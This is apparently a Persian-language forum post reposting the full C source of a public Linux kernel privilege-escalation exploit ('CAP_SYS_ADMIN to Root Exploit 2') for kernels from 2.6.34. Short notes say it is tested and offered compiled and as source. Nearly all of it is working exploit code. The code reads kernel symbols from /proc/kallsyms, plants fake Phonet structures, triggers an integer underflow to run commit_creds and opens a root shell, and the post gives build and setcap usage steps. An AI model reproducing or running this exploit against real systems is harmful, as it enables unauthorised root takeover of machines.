2.6.34-2011
تست شده !
به ۲ صورت کامپایل شده و سورس ضمیمه شد !
تست شده !
به ۲ صورت کامپایل شده و سورس ضمیمه شد !
کد PHP:
/*
* Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
* by Joe Sylve
* @jtsylve on twitter
*
* Released: Jan 7, 2011
*
* Based on the bug found by Dan Rosenberg (@djrbliss)
* only loosly based on his exploit http://www.exploit-db.com/exploits/15916/
*
* Usage:
* gcc -w caps-to-root2.c -o caps-to-root2
* sudo setcap cap_sys_admin+ep caps-to-root2
* ./caps-to-root2
*
* Kernel Version >= 2.6.34 (untested on earlier versions)
*
* Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit
*
* This exploit takes advantage of the same underflow as the original,
* but takes a different approach. Instead of underflowing into userspace
* (which doesn't work on 64-bit systems and is a lot of work), I underflow
* to some static values inside of the kernel which are referenced as pointers
* to userspace. This method is pretty simple and seems to be reliable.
*/
#include <stdio.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
// Skeleton Structures of the Kernel Structures we're going to spoof
struct proto_ops_skel {
int family;
void *buffer1[8];
int (*ioctl)(void *, int, long);
void *buffer2[12];
};
struct phonet_protocol_skel {
void *ops;
void *prot;
int sock_type;
};
#ifdef __x86_64__
#define SYM_NAME "local_port_range"
#define SYM_ADDRESS 0x0000007f00000040
#define SYM_OFFSET 0x0
typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
#else //32-bit
#define SYM_NAME "pn_proto"
#define SYM_ADDRESS 0x4e4f4850
#define SYM_OFFSET 0x90
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
#endif
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int getroot(void * v, int i, long l)
{
commit_creds(prepare_kernel_cred(0));
return 0;
}
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
int ret;
char command[512];
sprintf(command, "grep \"%s\" /proc/kallsyms", name);
f = popen(command, "r");
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
pclose(f);
return addr;
}
}
pclose(f);
return 0;
}
int main(int argc, char * argv[])
{
int sock, proto;
unsigned long proto_tab, low_kern_sym, pn_proto;
void * map;
/* Create a socket to load the module for symbol support */
printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
sock = socket(PF_PHONET, SOCK_DGRAM, 0);
if(sock < 0) {
if(errno == EPERM)
printf("[*] You don't have CAP_SYS_ADMIN.\n");
else
printf("[*] Failed to open Phonet socket.\n");
return -1;
}
close(sock);
/* Resolve kernel symbols */
printf("[*] Resolving kernel symbols...\n");
proto_tab = get_kernel_sym("proto_tab");
low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET;
pn_proto = get_kernel_sym("pn_proto");
commit_creds = (void *) get_kernel_sym("commit_creds");
prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");
if(!proto_tab || !commit_creds || !prepare_kernel_cred) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
if (low_kern_sym >= proto_tab) {
printf("[*] %s is mapped higher than prototab. Can not underflow :-(.\n", SYM_NAME);
return -1;
}
/* Map it */
printf("[*] Preparing fake structures...\n");
const struct proto_ops_skel fake_proto_ops2 = {
.family = AF_PHONET,
.ioctl = &getroot,
};
struct phonet_protocol_skel pps = {
.ops = (void *) &fake_proto_ops2,
.prot = (void *) pn_proto,
.sock_type = SOCK_DGRAM,
};
printf("[*] Copying Structures.\n");
map = mmap((void *) SYM_ADDRESS, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(map == MAP_FAILED) {
printf("[*] Failed to map landing area.\n");
perror("mmap");
return -1;
}
memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps));
// Calculate Underflow
proto = -((proto_tab - low_kern_sym) / sizeof(void *));
printf("[*] Underflowing with offset %d\n", proto);
sock = socket(PF_PHONET, SOCK_DGRAM, proto);
if(sock < 0) {
printf("[*] Underflow failed :-(.\n");
return -1;
}
printf("[*] Elevating privlidges...\n");
ioctl(sock, 0, NULL);
if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}
printf("[*] This was a triumph... I'm making a note here, huge success.\n");
execl("/bin/sh", "/bin/sh", NULL);
close(sock);
munmap(map, 0x1000);
return 0;
}